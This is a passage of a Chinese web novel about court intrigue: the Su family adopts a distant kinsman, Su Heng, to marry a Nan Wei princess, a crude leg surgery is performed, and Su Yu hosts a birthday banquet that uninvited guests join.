物质条件给足,婚后就打发到直隶去,不管南魏干什么,都干不了。 苏天华也觉得如此妥当,正想答应,就听到苏略的声音从门外传来,“我有一个合适的人选,不用二叔辛苦这一趟了。” 他刚从外头回来,从昨天到现在还未合眼。知道众人都在乐道堂,也赶紧过来。 说话间,苏略进屋,先行见礼。 苏震岳挥手让他坐下,也不细问,“你既有合适的人选,尽快准备起来。” 苏略办事从来都妥当,他觉得合适人选,肯定会非常合适。 “是。”苏略应着。 此事议定,饭己经摆上桌,谷夫人早差人把云棠和苏玫都叫了过来,更难得的是连苏略都在,一家人吃了一顿团圆饭。 吃完散场,各自回去休息。 天亮才回家,就睡了一上午,苏钰年轻没觉得有什么,苏震岳和谷夫人就难受了。 苏钰回到听雨轩,先叫来绿川吩咐,“让管事派几个小子去外头打听,有什么消息。” 畅春园一来一回,遇到了五波刺杀。 再加上昨天的宴席,现在京城肯定消息满天飞。 “是。”绿川应着。 半个时辰不到,绿川回来了,脸上表情很震惊很爆炸,“现在整个京城都在传,大老爷游走各国之间,把各国君臣玩弄于掌心的英勇事迹。” 这是目前京城最火爆的八卦,每个人都在说,苏天翊如何如何厉害,离京十年,如何搞死对家,尤其是北齐皇室,被苏天翊玩弄于股掌之间。 证据就是北齐和南魏破防,来自敌人的谩骂,那是奖章,骂的越狠,苏天翊越是英雄。 现在驿馆己经被八卦群众包围,只要有人进出,就围上去问。 甚至为了更好的羞辱对方,连说书人都去了,大声宣扬苏天翊有多么的英勇,南魏和北齐是多么的愚蠢。 搞得两国的使者们,连驿馆的大门都不敢出,出去就是各种言语羞辱。 “果然。”苏钰并不意外。 不管北齐和南魏想做什么,以苏略的宣传手段,怎么可能会让人败坏苏天翊的名声,只会趁机刷一把威望。 苏天翊离京十年,没有任何功绩传出时,苏略都有本事,让苏天翊的大名在京城长盛不衰。 现在有了敌国给背书,那肯定得奉为神明。 “还有一件事。”绿川说着,“是昨天半夜突然的那道霞光。” 苏钰打起精神,“怎么说?” “说是什么天降祥瑞,天选之人。”绿川说着,“现在外头都说,是指大皇子。” 傻了的大皇子突然间恢复了,本就是神迹。 现在天降异象,监天钦己经发话了,说是指向大皇子。还说大皇子是天选之子。 “大皇子?”苏钰有些意外。 因为显庆皇帝迷信,祥瑞这种事,她现在是完全不信。 但指向大皇子,这就有点诡异。她本以为肯定是指向三皇子。 哪怕关贵妃疯了,三皇子身上还是有关家血脉的,关太后扶他上位才能利益最大化。 没想明白,苏钰也没再想。 夺嫡之争己经到这种程度,关太后想做什么,很快就能知道。 刚想午睡一会,就有婆子进门说着,“姑娘,绣娘来了。” 为了给苏钰绣嫁衣,叶氏特意派管事去江南寻的绣娘。 现在绣娘进府了,得领过来先让苏钰过目。 “领她们进来吧。”苏钰说着。 婆子引着四个绣娘进来,都二十多岁的模样,打扮的规规矩矩。 绣娘是技术工,尤其是这种离家千里,给大户人家绣嫁衣,包吃包住,月薪差不多得二十两。 四个人见了礼,又拿出自带的绣活让苏钰过目。苏钰大概看了看,她对于绣工所知不多,只觉都很好。 特别跑到江南挑的人,肯定错不了。 “胡妈妈。”苏钰唤着胡婆子。 胡婆子上前,“姑娘。” 苏钰说着,“你来安置她们。” “是。”胡婆子应着。 晚饭前,胡婆子把四个绣娘安排好,又命人把东厢房收拾出来,专门给绣娘用于绣嫁衣用。 因为女子的嫁衣极为重要,胡婆子汇报后,还请苏钰过去看了。 东厢房原本的家具都抬了出去,把中间空出来放绣架,四个绣娘明天就开始上工。 一般来说,女子出嫁的嫁衣要自己绣,最少也要绣个盖头。 不过高门大户的千金小姐,会自己绣的很少,都是绣娘绣的差不多了,自己绣几下就算绣了。 苏钰也是这么想的,到绣盖头时意思一下就好。 “很好。”苏钰说着。 昨天指婚,今天绣娘进府,她真的要嫁给薛迟了。 第173章 第 173 章 两天后,苏略说的合适…… 两天后, 苏略说的合适人选,就站到了苏震岳面前。 苏珩,直隶苏氏五房的庶子,今年十八岁, 十六岁中举人, 一直备战春闺, 尚未娶亲。 身姿修长, 眉生得极为好看,像是被巧手匠人精心雕琢而成。气质温润如玉, 说话举止谦虚有礼。 这样的苏珩站在人前,谁看到都得夸一句,翩翩佳公子。 “很好。”苏震岳看着苏洌很满意。 又想到要过继之事,就算是全京城都知道,苏珩不是苏家亲生儿子, 是临时挑出来顶缸的,但做戏要全套。 宗室女选为和亲公主,皇帝还得下旨搞个册封仪式。苏家突然多个儿子, 敲锣打鼓惊动天下就不必了, 但祖谱还是得上。 想到此处, 苏震岳看一眼苏略。 想着既然是苏略的人,过继大房也妥当, 让苏略全权处理。 只是他刚想开口, 苏略仿佛看透他心事般,率先开口,“过继之事,老太爷觉得,是二房合适还是三房合适?” 苏震岳哪里不明白, 苏略这是不想苏洌进大房。 想了想,大房事关爵位传承,苏天翊本就没有亲生儿子,苏略只是养子。 现在搞个继子,也就是嗣子,他的继承权还在苏钰之上。 “人是你挑的,你觉得怎么安排合适?”苏震岳反问苏略。 苏略笑着说,“我觉得过继给二房更合适些。” 过继的儿子要上祖谱,也就意味着,将来要分家产。 能被他看中的,必然是心思细敏,手段了得。只是人心易变,再忠心的人面对强大诱惑时,也难免生出其他心思来。 三房只有苏越一个儿子,苏越倒是个好孩子,就是过份老实。苏珩这样的兄长,他是压不住的。 二房不同,虽然苏邑性格天真了些。但叶峰不是吃素的,苏珩敢有念头,叶峰就敢弄死他。 “你既己有主意,此事就由你来办。”苏震岳说着,又几分试探的问,“京城出了那么多事,老大还没回来吗?” 苏略没有点头也没有摇头,苦笑说着,“我也不知道父亲行踪。” 前些天苏天翊确实在京城,但与慕容宁见过面后,好像就离开了。 近期内苏天翊肯定会出现,但此时在哪里,他真的不知道。 “唉。”苏震岳不禁叹口气,“这些年老大辛苦了,钰姐儿都要成亲了,他就没想回来看看吗?” 以苏天翊的履历,明明可以人前显贵,位极人臣,却偏偏做了监察寮的正使,一辈子见不得光。 这多年在外,骨肉分离,甚至生死都在朝夕之间。 为大周出生入死这么多年,也该想着退休,回家过正常生活。 苏略沉默不语。 好几年前,他也以为找到苏辰后,苏天翊就可以恢复正常生活。 时间久了,他却明白,有些事情开始了,就没办法结束。 大周的监察寮正使,只有死的,没有退的。 三天后,苏钰看到了苏珩,全家都看到了。 开祠堂上族谱,程序走完,苏珩成了二房的第三子,苏家的四爷,苏越成了五爷。 只是家里人叫习惯了,而且苏珩也不住府里,苏越依然是四爷,苏珩成了珩少爷。 苏珩依次行礼,从苏震岳开始,走到苏钰跟前时,格外恭敬,“拜见大姑娘。” 绿川送上早就准备好的见面礼,苏钰笑着说,“以后就是姐弟了,珩哥儿不用如此大礼。” 能被苏略看中的,肯定手段了得。 苏钰特意问了苏珩的情况,大家族的普通庶子,因为会读书,家族资源给的也不错。 正常走下去,娶个门当户对的妻子,中进士,走仕途。有大家族庇护,只要没有大错,前途一般都还可以。 大概几年前,苏珩趁着他过年归京时找到他。 言简意赅的说明来意,他没有读书的天份,夫子说,他想中进士至少得四十岁。 他不甘心,不甘心一辈子碌碌无为,就这么一辈子过去。 苏略觉得有点意思,虽然他人在京城,但苏珩一个外地书生,也就十三、四岁,竟然能找到他,有点本事。 有野心是好事,有野心才有动力,只知道读书的书生是最没用的。 因为着急离京,苏略与苏珩聊过之后,并没有给苏珩任何资源。 但后来的每一年,只要他回京了,苏珩就能跑到他面前刷一下存在感。 苏珩见完礼,接下来就是吃席。 过继上祖谱再不张扬,外客不请,自然家也得吃顿饭,近亲也得知会一声。 叶老太爷喜提大外孙,肯定是要来吃顿酒的。杨云娘和程采蓝也来了,程采蓝与苏邑的婚期己议定,就在八月底。 本来想再拖几个月,结果合八字时,算命的说只有八月有个好日子,再等下一个就明年了。 叶氏与杨云娘商量一下,就决定把婚期定在八月。 苏家的事情是一波接一波,早点把两个孩子的婚事办了,也都放心了。 苏家二房突然多个儿子的事,很快在京城传开,苏家也无意隐瞒。 突然多出这么大一个儿子,尤其是在苏家不缺儿子的情况下,摆明了就是和亲。 送来和亲的都是假公主,娶亲的男方身份一般都是真的。对于男人来说,多个老婆不是事。 苏家为了应对南魏的联姻,竟敢搞个假儿子,倒是挺稀罕的。 “珩少爷的新房与国公府隔了两条街,五进的大宅子,管家正带着整理。”绿川说着,心里多少有些奇怪。 一直以来苏钰对朝堂,以及许多事情是没兴趣的,虽然不是大门不出二门不迈的闺阁千金,但她更重视自己。 吃喝玩乐,混吃等死,许多事情是懒得操心的。 而现在苏钰,似乎对很多事情都有了兴趣,甚至是积极参与。 “礼部那边没有章程吗?”苏钰说着。 虽然和亲的是苏家儿子,但和亲本身是两国之事,南魏那边出的还是公主,不管真是公主还是假公主,都要按公主之礼对待。 这种情况下,苏珩与南魏公主的亲事,应该礼部张罗,苏家协助。 使团还在京城,礼部就是没空,也该派个人过来,与苏家商量一下章程。 现在苏家装修新房,全程主导,怎么想都不对。 “没有。”绿川说着,回答很肯定,因为是来自太安的消息。 苏钰想了又想,唤来胡婆子,吩咐着,“有件事要劳烦妈妈,多去珩哥儿的新房那里,我想请南魏随行的的大夫帮忙看一个病人。” 婚事是南魏太子主动提的,礼部不管,南魏的人会直接跟苏家人打交道。 既然要打交道,来往多了,下人之间有私交也正常。 不提苏家,胡婆子以个人身份,花钱请南魏随行的大夫帮忙诊治一个病人。 只需要花银钱,惊动最小,成功率却最高。 夏书和的腿能不能有救,就看这一回了。 胡婆子跟随慕容宁多年,许多事情不用苏钰说明白就己会意,“是。” 苏家上下忙碌之时,京城的热闹并没有就此结束。 使团要留京一个月,宴席自然不可能就一场。 显庆皇帝心情好,要在使团面前展现天朝大国的威严,基本上是天天开席。 苏钰这种破例参加的,不可能次次破例,苏震岳,谷夫人和苏天佑就忙了。 谷夫人素来体弱,这样频率的赴宫宴,身体十分疲惫。 但她深知显庆皇帝性情,绝不能在这时候扫他的兴,每天大夫进府诊脉,吃着药也强撑着参加。 与此同时,一直被禁足的大皇子出现在宴席上,跟在显庆皇帝身侧,谦逊有礼,尽显大周皇子的气度。 连关倩倩做为大皇子的侧妃,盛装出席宴会。她本就是高门贵女,交际应酬更不在话下。 两人一同出席时,更显得登对,大皇子对关倩倩还格外的体贴温柔,一副夫妻恩爱的模样。 “连学都没上过,更没人教过规矩,这大皇子也是神奇。”苏钰只觉得不可思议。 当年大皇子会“傻”,是因为关贵妃。 大皇子的惨,就看他装傻这么多年,也知道他做不得假。 再加上他身边侍侯的老太监,为了一点小利都能弄死他,他也没机会偷学。 天才吗? 至少在表演方面,大皇子挺天才的。 “现在外头人都在说呢,皇上要立大皇子为太子。”绿川说着,言语间带着奇怪,“倒是三皇子,据说是关贵妃疯了后,一直在照顾母亲,这么多场宴席竟然没有露过脸。” 这些消息都是来自太安,苏钰虽然没有参加宴席,却一直关心宫里的情况。 太安也很自觉,只要绿川过去问,他就自觉得把知道的都说了。 苏钰默然听着,关太后这是打算拿大皇子当枪使,让他与薛迟争,再让三皇子渔翁得利。 又是祥瑞又是皇长子,薛迟的身份甚至还没有恢复。 眼下关太后又给她和薛迟指了婚,她的身份对于薛迟的皇位之争是劣势。 皇位之争,关太后的心机手段,真是一套又一套。 “姑娘,还有一件事。”绿川话气中透着古怪,小心翼翼说着,“谢大人辞了建章营骑的差事。” 第174章 第 174 章 “什么?” 苏…… “什么?” 苏钰惊诧不己, 只觉得不可思议。 在夺嫡关健的时候,谢无衣辞了建章营骑差事? 羽林军,建章营骑掌握着京城乃皇宫的防卫,不夸张的说, 城门关上, 可以直接造反了。 关太后不管怎么样的心机手段, 到最后掀桌子的时候, 看的还是谁能打。 薛驸马和晋阳长公主抚养薛迟成人,夺嫡之路, 不可能回头,就像世上没有造反造一半的。 “那现在建章营骑的都尉是谁?”苏钰问。 绿川想了想,“一个叫王林的人,也是世家子弟。” 苏钰对王林这个名字全无印象,但以薛驸马的谨慎, 不可能把建章营骑交出去。 倒是谢无衣此时辞了官职,难道是晋阳长公主心疼儿子,不想他介入太多? 但要是不想他介入, 从一开始就不该给他官职, 任由他当闲散公子哥。 既然当了建章营骑的都尉, 眼前的局面不是辞官就能撇清关系的。 “姑娘,要太安打听吗?”绿川问着。 事关谢无衣, 自家主子总是会格外关心些。 苏钰吁口气, 却摇摇头,“算了,这些事情自有薛驸马去操心。” 她和薛迟的婚事己定,她再去打听谢无衣的事,被人晓得了, 没事也会被传成有事。 不管以前怎么样,要成亲了,就要知道分寸。 胡婆子做事果然利索,两天而己,就和南魏的随行大夫套上交情。 “我不方便出面,你就走一趟吧。”苏钰对绿川说着。 “是,姑娘放心,我一定把事情办妥。”绿川说着。 绿川去书局找夏书和,直接说明来意。 虽然治病是好事,但得夏书和同意了才行。尤其是南魏大夫,治疗手段与大周不同。 夏书和十分意外,感激涕零的答应了,要是苏钰在,他肯定得磕头道谢。 不管他的腿能不能治,这份情他都记下了。 次日,绿川就带着胡婆子和南魏大夫来了。 大夫诊治之后,就直接说,可以试试看,但要敲断了重新接,过程会比较痛苦,还有可能丢了性命。 “我愿意一试。”夏书和语气坚定。 残疾的人生他过了这些年,受尽苦楚,他愿意一试,哪怕是拿命一试。 大夫听他如此说,也不含糊,“我在京城停留的时间有限,择日不如撞日,就今天了。” 绿川有点惊讶,这么大的事,不该再预约个时间,准备一下治疗方案吗? 但大夫说的坚决,夏书和也答应了,绿川也不再说什么。 因为伤在腿上,要宽衣解带,胡婆子留在屋里,绿川在屋外候着。 然后,绿川就听到了凄厉的惨叫声,虽然不知道屋里发生了什么,但声音之凄厉让绿川冷汗直流。 不知道过了多久,房门终于打开了。 绿川赶紧进去看夏书和的情况,扑鼻而来的血腥味,差点把绿川熏晕。 夏书和安静的躺在床上,疼晕了,自然就安静了。 大夫洗着手上的血,对胡婆子说,“很成功,只要能活下来,腿肯定没事。” 绿川当时就冷汗直流,什么叫做能活下来。 这意思是,一场治疗下来,还能活不下来? 饶是胡婆子见过不少世面,此时脸色也是难看的,大夫治疗的时候她就在身边,那场面和屠宰场差不多。 把坏了的腿骨剥开皮,好像修理家具一般,敲敲打打一番,再把皮□□上。 南魏大夫这手段,说好听一点就是置之死地而后生,难听点就是没把人当人,生死皆看命数。 “这是外敷的药方,这是内服的。”大夫留下药方交给绿川,“要是人晕迷了,灌也要灌下去。” 绿川哆嗦的接过药方,“谢大夫。” 南魏的神学虽然大名远扬,但亲身体会到感觉还是不一样的。 听得是目瞪口呆,看的是张目结舌。 南魏的神学,主打一个,我敢干,失败了是你命不好,没有被神保佑。 胡婆子还是靠谱的,除了南魏的大夫,她早就请了京城的名医在前头侯着,以及后续护理的下人也待命。 “这方子上的药,会吃出人命的。”京城的大夫看了药方,当即说着。 胡婆子看一眼晕迷不醒的夏书和,把药方交给小厮,“按方子拿药。” 都这样了,不如喂药,还有一线生机。 一直到下午,夏书和才悠悠转醒,却是痛苦不堪。能不疼吗,都快剥皮抽筋了。 胡婆子见夏书和情况严重,便留下照看,让绿川回府复命。 绿川哆嗦着回到听雨轩时,苏钰正在榻上看书,看到她回来,随口问着,“约好治疗时间了吗?” 要不是她不方便出门,她都想去见识一下,南魏的神学到底是怎么个神法。 绿川用惊悚的口吻说着,“己经治了,现在就看夏老板的命了。” 苏钰愣了一下,绿川当即把今天的经历讲了一遍。 苏钰呆滞,手里的书掉到地上。 南魏大夫这治疗方式,也太野了。 “姑娘不用担心,那大夫留了方子,走的时候说的很肯定,夏老板应该没事。”绿川对苏钰说着,又补充,“胡妈妈守在那边,不会有事。” 苏钰倒不是太担心,南魏的神学,本来就是死马当做活马医,夏书和同意,也就意味着这个风险要他自己承担。 她是被南魏的神学吓到,没想到这么逆天。 两人正说着,琉璃笑着走进来,上前说着,“再有几天就是姑娘生辰,二太太打发人来问,姑娘想怎么过?” 八月十三,苏钰的生辰。 绿川笑着说,“姑娘十九岁寿辰,是该好好过。” 苏钰却有怔忡,事情太多,她竟然忘了,再过几天就是她的生辰。 “再有两天就是中秋节,月底阿邑就要娶亲。家里事情太多,二婶正忙的时候,这个寿辰我自己安排。”苏钰说着。 十九岁的大姑娘,大过寿辰怎么想都觉得怪怪的。也就是一家人吃吃饭,听听戏,或者京城最近有什么新鲜的杂耍班子。 这点小事,就不劳烦叶氏张罗,她自己来就可以。 “是。”琉璃笑着答应,“我这就去回二太太。” 苏钰思索着,小辈的生辰宴,一般都是一天。 但这回她却想摆两天,第一天是家里亲友长辈,这是惯例。 第二天是自己的私人宴会,客人名单就有她自己来定。 心里己有主意,苏钰起身走向西梢间。 既要邀请客人,就要写贴子,自己亲手写的,比较显得郑重。 绿川见状,赶紧过去研磨。 苏钰想了想,确定第一位宾客,关倩倩。 坐山车一样的命运,关倩倩翻身了,虽然是侧妃,但受宠皇子的侧妃,身价还是高的。 大皇子依然住在皇城,以苏家的身世,贴子递进去很容易。 就不知道关倩倩会不会来。 第二位嘛,南魏太子夜烬阳。 宴席上坚持要联姻,南魏的公主马上就嫁进苏家,都要成亲戚了,邀请他也应该。 至于来不来,苏钰觉得,他会来。 第三张请贴,让苏钰有点犹豫。 罗星一直以来没有动静,安静的反常。 苏钰不知道苏天翊的打算,也不知道罗星的想法。 一张请贴,看看罗星的反应。 要是她愿意来,愿意走进苏家,也许她还想回来。 三个关健人物确定,其他人就有些随意。 有些可惜,北齐使团全是中年男人,想寻个借口都寻不到。 至于慕容弦,亲舅舅,不用过来给她过生日,生日前一天她会去王府给慕容宁和慕容弦请安。 也挺好,慕容宁临走前,还能陪她过一个生日。 只是生辰而己,京城事情这么多,就不打扰晋阳长公主了。 薛迟的话,都定亲了,要是还需要她写贴相请,这未婚夫未免太失职。 不过还是要写封信,把生辰宴的时间说一下。 至于其他,苏钰并没有闺中密友,稍微相熟的也就薛雨梓。 犹豫一下,苏钰决定还是给薛雨梓写了贴子。 再就是相熟的公子哥,倒是有不少可以请,不过考虑到宴会的特殊性。 苏钰决定只邀请程喻,许久不见他,以薛迟与他的关系,他应该过的很不错。 “等会把贴子送出去。”苏钰对绿川说着。 苏钰写的时候,绿川一直在旁边看,多少有些惊讶。 欲言又止的看一眼苏钰,想说什么又不敢说。 绿川等墨迹干的功夫,苏钰想了起来,对绿川说着,“一会你去二姑娘和三姑娘房里,替我给她们陪不是,第二天就不请她们来坐。” 一般情况下,家里有姑娘有私人小宴会,家中姐妹是要来坐陪的。 若是平常,她肯定会主动邀请苏玫和云棠,但这回情况特殊。 尤其是云棠,她也不知道罗星会不会来。 要是两人撞上了,她担心会炸裂。 既然云棠不合适过来,也不好单请苏玫,不然就显得更奇怪了。 索性两个人都不请,真正的原由不能细说,但编个理由却很容易。 “还有,顺道去寻珩少爷,告诉他第二天的生辰宴,我请他过来。”苏钰说着。 既然上了祖谱,那就是兄弟姐妹,不用写贴子,派大丫头传话就够了。 苏珩是苏略推荐的人选,又即将娶南魏的公主,是南魏太子的内弟。 这样的宴会,应该很合适苏珩。 第175章 第 175 章 生辰前一天,苏略…… 生辰前一天, 苏略护送苏钰去了楚王府。 想到去一趟畅春园遇到五波自杀,苏钰真心觉得苏略的保护很需要。 苏略没进楚王府,只在外头等着。 苏钰进府,给楚王爷, 慕容宁, 慕容弦见了礼, 收了生辰礼。 楚王爷留苏钰吃饭, 被苏钰拒绝,苏略还在门口等她, 她得赶紧回去。 “早些回府也挺好。”慕容宁说着,“注意安全。” 苏家人来回两趟被刺杀五次的事,她也知晓了。 连她都有点意外,苏天翊离京这么多年,竟然如此招人恨。 怪不得苏天翊要为苏钰铺好所有的路, 不然等他死了,苏钰肯定活不了。 苏钰回到听雨轩,小丫头侍侯着脱了外衣, 琉璃奉茶。 苏钰接过茶碗喝着, 正想唤胡婆子过来, 一是问问夏书和的情况,二是想把明日宴席之事交给她来办。 就婆子进门说着, “姑娘, 珩少爷来了,在前头小花厅侯着。” 虽然上了祖谱,也是同族同姓,到底刚进府不太熟。 苏珩过来,婆子也不敢往听雨轩领, 只敢安排在小花厅里。 “我这就过去。”苏钰说着。 到了小花厅,苏珩马上起身见礼,态度十分恭敬,“大姑娘。” 苏钰笑着,先行坐下来,抬手示意,“坐。” 苏珩这才坐下来,开门见山,说明来意。 苏钰的私人宴会既然请了他,是看的起他,得此殊荣,他想为苏钰分忧,帮忙安排宴会。 苏钰有些意外,又不意外,“珩哥儿愿意帮忙,我求之不得。” 这是她与苏珩的第二次见面,只看外表斯文有礼小白花,长相的缘故,全身上下没有一点攻击性。 怪不得苏略推荐他,只是这长相,迷惑性就很强。 苏珩也有些意外,苏钰竟然答应的如此爽快。脸上笑着,马上把写好的安排规划拿出来。 收到苏钰丫头的传话后,他马上知道这是他的机会,他想出人投地,不会读书,就只能走捷径。 连夜做了几套方案,供苏钰挑选。 苏钰听着苏珩的安排,进府不过几天而己,甚至进京城的次数都有限,能把京城顶级宴会安排明白,这下了真功夫的。 “姑娘觉得怎么样?”苏珩见苏钰不语,心中有些忐忑。 他出身不好,对高门大户的宴会,所知不多。时间又有如此紧,也只能做到这种程度。 “挺好的。”苏钰说着,“把地点改一下,换成倚竹南苑。” 倚竹南苑,在后花园的西侧,紧挨着箭亭,却隐在竹林之中,是相对隐秘的所在。 苏珩马上想到是哪里,笑着说,“大姑娘想的果然更妥贴。” “珩哥儿如此有心,此事就麻烦你了。”苏钰说着,“有什么事,你只管与我房里的胡妈妈说。” 安排宴席这种繁琐小事,她本也不打算亲自管。苏珩想在她面前表现一下,她就给这个机会。 “是。”苏珩高兴说着,“定不负姑娘所托。” 苏珩自去安排,苏钰也没过问。 就是苏珩的安排有问题,还有胡婆子在,事事都亲力亲为,只会累死自己。 到了生辰当天,苏钰早早起床吃饭,然后更衣打扮,从苏震岳起,家里所有的长辈都得去磕头。 幸好苏家人口少,她又是大姑娘,苏略时常不在,叶峰不住苏家,不然兄姐那里也得去一遍。 大家族的晚辈,一到生辰,只是四处磕头都能磕断腿。 宴席在中午,苏珩忙里忙外,不管是地方布置,还是菜品、节目安排,都非常妥贴。 薛迟来的很早,除了他本人的礼物,还带着晋阳长公主的贺礼。 礼貌周全,坐了大半天的席,直到散场才走。 第一天宴席很成功,苏钰也很满意。 重头戏在第二天,苏钰刚从床上起来,正梳洗着,就有婆子来报,“薛大爷来了。” 苏钰愣了一下,显得有些意外。 昨天薛迟来了,她本以为他今天不来了,使团还在京城,大皇子又正常了,他的事情应该挺多的。 “请他进来。”苏钰说着,匆匆洗好脸。 这么早过来,估摸着薛迟今天还有别的事,所以提前来了。 他不在也挺好的,今天是她的重头戏。 薛迟一身官服,手里提着礼盒,“生辰礼物。” “昨天不是送过了吗?”苏钰笑着接过来。 薛迟笑着说,“那是昨天的,这是今天的。” 苏钰听得笑了,“那岂不是后天还有。” “有。”薛迟笑着点头。 苏钰只要喜欢,他可以天天送。 “看你打扮就知道你忙,昨天来了,今天还跑一趟。”苏钰说着,“这么早,吃饭了吗?” 薛迟摇摇头,他特意这么早,就是想着跟苏钰一起吃饭。 显庆皇帝己经指婚,两人是未婚夫妻的关系,这样的亲密是可以的。 不用苏钰吩咐,琉璃赶紧去了厨房催饭。 俩人一起吃了早餐,薛迟也没久留,临走前还说,“我忙完就过来。” 苏钰估摸着薛迟忙完,她这边应该散场了,笑着点点头。 送走薛迟,苏钰心情好了不少。 更衣妆扮,她请的宾客应该还要一会,就不知道谁会来。 “姑娘,大皇子和侧妃来了。”婆子匆匆进门来报,“珩少爷己经去二门迎了。” 苏钰愣了一下,这么早? 而且她只请了关倩倩,大皇子竟然跟着来了,这是唱哪出。 苏钰没有细想,宾客都上门了,苏珩己经去迎,她得去倚竹南苑侯着。 从听雨轩到倚竹南苑并不算近,刚进后花园,就听身后传来戏嘻的笑声,“苏姑娘好大的架子,本王亲自过来给你贺生辰,竟然随意指派一个阿猫阿狗来迎接。” 就在昨天,大皇子秦铮,封睿王。 亲王上门,全家恭迎都是应该的,结果苏家正主没见到,苏钰甚至都没来,来迎他的竟然是苏家新炉的和亲儿子。 如此对待,都可以治苏家大不敬之罪了。 苏钰脚步顿住,转身看向大皇子,与前几次见面时的狼狈不同。 此时的大皇子,身着一袭暗紫色锦袍,袍上以金线绣着蟒纹,腰束白玉带。 他模样生的极好,身形挺拔,面容俊朗,整个人散发着尊贵之气。 在他身侧的关倩倩身形婀娜,一身淡粉色罗裙,她云鬓高挽,插着几只珠钗。脸上带着优雅得体的笑,没有得意,没有张扬,过份的得体,然而那强压眼底的恐惧,却若有似无地流露出来。 “不知道睿王殿下驾临,怠慢之罪请王爷见谅。”苏钰恭敬见礼。 她邀请函上写的清清楚楚,请的是关倩倩。 秦铮这是蹭着来的,也不提前说一声,人到二门上了,主人家才知道,迎接也来不及。 秦铮想追究苏家失礼,那也得先看看自己占不占理。 秦铮笑着,走到苏钰跟前,低头打量着她,虽然是寿星,今日的打扮的却十分清简素雅,一袭浅蓝色衣裙,发间仅插着一支白玉簪。 “起来吧。”秦铮说着。 “谢殿下。”苏钰说着。 关倩倩笑着对苏钰说,“早就听闻苏家花园,独树一帜,难得来一趟,我想逛逛,不知方便否。” 苏钰看向关倩倩,这意思,是自己要回避,留出空间让秦铮与她单独见面? 苏钰微微颔首,浅笑道:“关侧妃谬赞了。苏家花园不过是略有些别致之处罢了。侧妃既然有兴致,自当尽情游览。绿川,你带着关侧妃四处看看。” 绿川应道:“是。” 关倩倩微笑,眼底似乎充斥着不安,看向苏钰说着,“失陪。” 关倩倩走了,原本跟随在侧的苏珩,看一眼苏钰也悄悄退下,连带着苏钰跟随的丫头婆子也一并带走。 苏钰看向秦铮,却是开门见山,“这里并无旁人,王爷有话请直言。” “也没什么话要说。”秦铮笑着,突然拿出一个香袋,递给苏钰,“给你的。” 苏钰十分不解,伸手接了过来,就是一枚普通香袋,宫中之物更为精致些。 “王爷,这是……”苏钰把香袋看了又看,迷惑的看着秦铮。 家里有姐妹过生辰,绣个香袋当礼物,是姐妹情谊的体现。 一个没有血缘关系的外男,送她一个香袋当生辰礼。这要是换个人,她都以为是定情之物了。 男女之间送礼,讲究大发了。 秦铮看着迷惑不解的苏钰,脸上隐约有一丝薄怒,“不记得了?” “呃,我要记得什么?”苏钰说着。 秦铮道:“这是你送我的,我现在物归原主。” 苏钰终于想起来,过年入宫朝贺,关贵妃算计她和秦铮,当时秦铮还是“傻子”,中了不太好的药。 她当时出于同情或者怜悯,把苏略给她的解毒香袋给了秦铮。 但是…… 虽然都是香袋,但宫中之物和宫外之物,她还是能分辩出来的。 秦铮还的这个香袋,绝不是她当初送的那个。 “那我就收下了。”苏钰不欲与秦铮分辩。 一个香袋而己,是不是原来那个,并不重要。 她只是搞不懂,秦铮这是什么意思。 秦铮神情稍缓,“说起来,这么久了,我还没有向姑娘道谢。” 苏钰笑着摆摆手,“王爷太客气了。” 秦铮正欲再说什么,就听一个凉凉的男声,“哟,哟,我这是看到什么了,新封的睿王殿下,穷到生辰礼送香袋。内务府这是拖欠俸银了啊。” 苏钰回头看过去,就见谢无衣缓步走过来,身后跟着薛雨梓。 第176章 第 176 章 谢无衣一袭宝蓝色…… 谢无衣一袭宝蓝色长衫, 面如冠玉,眉若远山,一双眼眸深邃如潭,仿佛藏着无尽的星辰。 高挺的鼻梁下, 薄唇微微上扬, 带着一抹若有若无的笑意。 若是沉默不语, 静静而立时, 就如一幅绝美的画卷,越发显得俊美无双。 “这也太穷酸了。”谢无衣上前, 一把抢过苏钰手里的香袋,在秦铮面前晃了晃,脸上的嘲讽越发明显,“竟然还是用过的,啧啧, 要不要这么穷酸啊。” 如此贴脸开大,苏钰有瞬间的呆滞。 秦铮他依然笑着,对谢无衣的无礼全然不在意, “姑娘家闺誉要紧, 谢大人莫要乱说。我这是物归原主, 至于生辰礼,不该我这个外男来送, 关侧妃自会准备。” “这明明是宫中之物, 哪来的物归原主。”谢无衣却是不依不饶,抬手就想把香袋扔在秦铮脸上。 苏钰快他一步,顺手把香袋劫了过来,笑着说,“一个香袋而己, 难得两位大驾光临,就不要纠结这点小事了。” 一个能装傻这么多年的人,其忍耐力是无人能比的。 用羞辱的方式想让他动怒,只会进入对方的主场,被对方掌握主动权。 说话间,苏钰看向谢无衣身侧的薛雨梓。 此时薛雨梓脸上的笑容,比哭还难看。 收到苏钰的贴子,她是很高兴的,拿着积蓄去多宝阁挑了一下午的礼物。 今早也是早早起床,收拾打扮,很是花了一番心思。 结果她坐的车刚驶出二门,就遇到了谢无衣。 似乎早知道她要去哪,直言说要同去。 她当时就傻眼了,要是可以,她恨不得把谢无衣扔回公主府。 但她做不到,只能任谢无衣跟着。 薛迟和苏钰都己经指婚了,谢无衣去给苏钰过生日,这算是什么事。 万一再出了什么事,她都不敢想后果。 “这大日头的,都别外头站着了,我们里头坐。”苏钰笑着说,心中却有些无语。 人算不如天算,她今日宴客,重头戏是夜烬阳和罗星,他俩不知道来不来。 秦铮蹭了关倩倩的请贴,谢无衣跟着薛雨梓过来,谁能想到。 做为主人家,再不想招呼,也只得尽地主之谊,先前引路,走向倚竹南苑。 倚竹南苑在竹林后面,一所小巧的院落,清幽雅致。 离开的苏珩早己先到倚竹南苑,坐次茶水,连带着下人全部安排妥当。 苏钰引着三人进门后,他自觉得退下,从后门出去。 宾客还没来齐,他得二门迎客。 他看过宾客名单,本来就够热闹了,又多了两位不速之客。 倚竹南苑的三间正房全部打通,此刻己重新装饰过。院中也搭好了台子,请了杂耍艺人,开席时会开演。 “请坐。”苏钰招呼三人坐下来。 秦铮是亲王,自然是坐首席,他旁边的位置空着,是关倩倩的。 谢无衣坐在他对面,薛雨梓坐旁边。 四人坐定,统一着装的丫头端着果盘茶点上来。 宾客来的有点早,开席还早,点心果盘先上。 “听说谢公子辞了建章营骑的差事。”秦铮笑着开口。 谢无衣道:“不是听说,是事实。” 秦铮显得有些惊讶,“谢公子任职这些年,兢兢业业,怎么突然辞了差事。” “王爷那么好奇,不如直问圣上。”谢无衣说着,“到时候什么都知道了。” 